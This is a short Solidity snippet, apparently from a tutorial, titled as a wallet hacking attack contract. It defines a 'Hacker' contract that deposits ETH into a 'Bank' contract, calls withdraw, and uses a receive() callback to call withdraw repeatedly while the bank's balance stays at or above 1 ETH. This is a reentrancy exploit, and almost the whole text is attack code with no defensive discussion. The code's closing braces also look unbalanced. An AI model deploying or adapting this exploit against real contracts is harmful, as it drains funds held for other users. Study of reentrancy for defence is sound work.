wallet hacking attack contract【1-1】

contract Hacker {
      Bank public bank ;
      constructor (Bank _bank){
            bank = _bank ;
      }
      //Bank △△△'s wallet attack function
      function attack( ) external payable {
      //deposit at least 1 ETH to launch an attack
      require(msg.value >= 1 ether, "Need at least 1 ether");
      //deposit money to Bank 〇〇〇 wallet
      bank.deposit{value: msg.value}();
     
      //withdraw money from Bank 〇〇〇 wallet
      bank.withdraw();
}
//callback function, as long as ETH is received, a withdrawal will be initiated
      receive() external payable{
            if (address (bank).balance >= 1 ether){
                  bank.withdraw();
            }
}